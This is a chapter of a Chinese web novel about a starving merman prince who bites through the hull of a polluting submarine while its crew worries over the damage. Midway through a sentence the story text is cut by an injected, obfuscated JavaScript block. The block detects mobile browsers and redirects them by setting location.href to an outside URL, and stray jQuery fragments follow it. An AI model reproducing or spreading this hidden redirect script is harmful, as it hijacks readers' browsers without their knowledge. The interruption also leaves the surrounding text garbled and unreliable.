音无千咲是一条人鱼。
一条饿得快要死掉的人鱼。
此时他正趴在冰冷的海底礁石上,漂亮的蓝色尾巴无精打采地耷拉着,原本流光溢彩的鳞片都因为饥饿而变得暗淡。
“好饿……”
胃里像有团火在烧,空荡荡地抽搐着。
可放眼望去,平时在家里随处可见的那些发光甜甜小鱼、Q弹水晶水母,一条都没有。
事情要从半个月前说起。
深海王庭的规矩,三百岁的人鱼宝宝应该躺在珊瑚床上等着被投喂。
可音无千咲不是一般的宝宝,他是王庭唯一的继承人,从小被父王母后、七大姑八大姨、还有整个王宫的侍从们捧在手心里长大。
用他表哥的话说:“千咲就算想要天上的月亮,叔叔阿姨们都能想办法把海水倒映的月亮捞给他。”
这样的成长环境造就了一个活泼、好奇、并且有点任性的小王子。
所以在听说“浅海区有一种会发光的彩虹水母,味道甜甜的”时,音无千咲毫不犹豫地溜出了王宫。
结果就是,他迷路了,游到了这片被人类染成诡异颜色的陌生海域。
这还不是最糟的。
最糟的是,这片海域的水不对劲。
海水本该是清澈的,带着淡淡咸味的,可这里的水浑浊不堪,弥漫着一股刺鼻的化学气味。
他好奇地尝了一小口,立刻吐了出来,那味道像是腐烂的海藻混合着铁锈,还有种说不清的甜腻,恶心得他差点把三天前吃的小鱼沙拉都吐出来。
“怎么回事……”
他捂住鼻子,开始寻找干净的水域,可游了整整两天,发现整片海域都是这样。
更恐怖的是这里的“居民”。
三眼睛的鱼、壳上长满诡异斑点的虾、空空如也只剩腐肉的贝壳……
作为一条挑剔的人鱼王子,音无千咲宁愿饿死也不会吃这种东西。
于是,他真的快要饿死了。
音无千咲把脸埋进胳膊里,试图用睡眠抵抗饥饿,可他越是闭眼,胃里那股火烧火燎的感觉就越清晰。
“不行了……再这样下去,本王子真的要成为史上第一条饿死在外面的继承人,被写进族谱笑话一千年……”
他绝望地翻了个身,尾巴扫起一片海底的泥沙。
就在这时,一阵低沉的轰鸣声透过海水传来。
嗡——
是那个连响了好几天的噪音源,那个在海底缓慢移动的“铁灰色大鲸鱼”。
之前饿得没力气理会,现在反正也离死不远了,他决定死也要当个明白鱼。
他勉强打起精神,循着声音,借助礁石阴影的掩护,悄悄摸了过去。
很快,那个大家伙出现在视野里。
铁灰色的冰冷外壳,几盏绿灯幽暗地亮着,尾部正持续排出荧绿色的、让海水变得恶心的液体。
罪魁祸首找到了。
音无千咲盯着那厚实的金属外壳,小尖牙莫名有些发痒。
人鱼王族的牙齿,啃深海玄铁都跟玩似的,这个呢?
一个有点冲动的念头,在他饿得发昏的脑子里慢慢成形。
他耐心地绕着潜艇游了几圈,浑浊的水体和复杂的地形成了他最好的掩护。
最终,在潜艇侧后方,靠近螺旋桨的地方,找到了一小块颜色略深,接缝似乎不那么平整的“补丁”。
就这了。
音无千咲仔细舔了舔有点干的嘴唇,虽然海水难喝,但做“大事”前总得有点仪式感。
他缩回礁石后面,深吸一口气,吸到一半被怪味呛到,咳了两声。
不管了!
尾巴一摆,纤细的身影从藏身处弹射而出,速度之快,在身后拖出一道短暂的气泡轨迹。
几乎是眨眼间,就冲到了那处“补丁”前,狠狠咬下!
咔嚓——
意料之中的坚硬,混合着铁锈和化工涂料的古怪味道瞬间充斥口腔。
难吃!太难吃了!
音无千咲被这味道恶心得一个激灵,下意识用力合拢牙关,脑袋向旁边一甩。
一块不算巨大但绝对显眼的钢板,连同几根扭曲的管线,被他硬生生从潜艇外壳上撕扯下来,可怜地耷拉着。
海水瞬间倒灌进破口。
音无千咲吐出嘴里的金属碎屑,呸呸两口,看了一眼自己的“杰作”,缺口边缘还闪着崭新的金属光泽,和他漂亮的牙齿印。
心里的恶气总算出了那么一点点。
那铁鲸鱼似乎顿了顿,尾部喷出的脏水都停滞了一瞬,紧接着,一阵急促的警报声从里面传了出来。
音无千咲尾巴一摆,直接转身溜走,迅速消失在浑浊的海水与礁石阴影中。
躲回熟悉的石缝里,他捂住嘴,肩膀轻轻抖动,忍不住偷笑起来。
活该!让你污染海水!
笑了没两声,肚子又响了,而且刚才那一番“剧烈运动”,消耗了他好不容易攒下的一点力气。
更饿了。
饿得他看眼前的石头,都像是一块长毛了的黑面包。
深夜的海底,寒意更重。
饿到睡不着,又没别的事可做,音无千咲瘪着嘴,低低地哼起歌来。
不是王庭乐师教的那种悠扬婉转的吟唱,是他自己瞎编的调子,歌词也是即兴发挥:
“好饿~好饿~好饿~”
“臭铁鱼,坏铁鱼,弄脏大海没道理~”
“甜甜鱼,水晶冻,你们到底在哪里~”
“我想回家……嗷呜好饿……”
旋律七零八落,音调忽高忽低,完全不成章法,但在这寂静的海底,这怨念深重的歌曲顺着海水幽幽地传了出去。
同一片海域,那艘被啃了个口子的潜艇内,气氛凝重。
破损处的应急隔离闸门已经落下,刺耳的漏水警报总算停歇,但控制室内闪烁的红光与仪表盘上跳动的异常数据,无不昭示着刚才那场“意外”的严重性。
“报告损伤!”一个穿着制服的小头目脸色铁青。
“外壳局部撕裂,长度约四十厘米,深度穿透外层钢板!辅助管线断裂,推进器效率下降百分之五!”
负责检查的船员声音发紧。
“看起来……不像是碰撞或设备故障。”
“那像什么?”
船员咽了口唾沫,指着战术屏幕上放大的损伤特写照片,那边缘清晰利落,带着一种诡异的弧度。
“像……像是被什么东西咬的。”
控制室内一片死寂。
被什么东
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332726|199181||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
西咬的?在这深海?咬穿特种钢材?
荒谬感爬上每个人的心头,但眼前铁证如山。
“声呐记录呢?当时就没发现任何异常生物信号?”小头目追问。
声呐员调出数据记录,面露困惑。
“长官,受损前后,声呐波段确实受到一阵强烈的、无法解析的杂波干扰,覆盖了整个中低频段。
但……没有捕捉到任何大型生物接近的踪迹。只有一些非常微弱的异常波动,不符合已知任何海洋生物特征。”
无法解析的杂波?微弱的异常波动?疑似咬痕的损伤?
几个线索拼凑在一起,指向一个令人头皮发麻的可能性。
“会不会是我们排放的‘那个东西’,引来了海里什么……不干净的存在?”
一个年轻的船员压低声音,说出了许多人心底的嘀咕,他们负责在这片海域秘密处理组织研发的某种生化废料,心里本就不踏实。
“闭嘴!哪来的怪力乱神!”小头目厉声呵斥,但眼神里的惊疑却掩盖不住。
他定了定神,沉声下令。
“立即修复损伤,提高警戒等级。所有数据,包括声呐异常记录和损伤照片,整理成详细报告。这件事必须立刻向上层汇报。”
他不知道这份报告会先落到哪位“大人”手里,又会引起怎样的关注。
但他有种预感,这片被他们视为“垃圾场”的海域,似乎突然变得不那么平静,甚至有些不可名状的诡异。
音无千咲对这些一无所知。
他只是在饿极了或者无聊极了的时候,就对着海水胡乱哼几声。
他倒是发现了,每当他“唱歌”的时候,那艘铁鲸鱼好像就会安静一点,排放脏水的频率也会降低。
“哼,知道怕了吧?”音无千咲心里冒出一点幼稚的得意。
但这得意解决不了根本问题。
这几天,他也没完全闲着。
他忍着饥饿和不适,小心翼翼地游到了这片污染海域的相对边缘,躲在礁石后面,悄悄观察。
那艘铁鲸鱼并非一直停留,每隔一段时间,它就会朝着某个固定的方向离开,过一阵子又会从那个方向回来。
那个方向,海水似乎没有那么浑浊,光线也更亮一些,仿佛通往一个不同的世界。
好吃的,可能就在那边。
似乎很久很久以前,久到记忆都像蒙着海底厚厚沉沙的梦。
也有过这么饿的时候?只模糊记得有一种很温暖的感觉,和手里递过来的、散发着诱人香气的……
“食物!”
音无千咲的蓝眼睛猛地亮了一下,虽然记忆的画面早已褪色模糊,但那种“可以得到美味食物”的期待感,却从潜意识里浮了上来。
至于危险?
好像有谁说过人类不都是好人……但那是多久以前的事情啦?
现在占据他全部思维的,只有对食物的渴望。
音无千咲打起最后一点精神,摆动着虚弱的尾巴,开始小心翼翼地向海面方向游去。
去找个好看的沙滩,他迷迷糊糊地计划着,再摆一个好看点的姿势……
嗯,累了,先睡一会,漂到哪算哪吧。
总会有人类路过的吧?
然后,就能吃到好吃的了。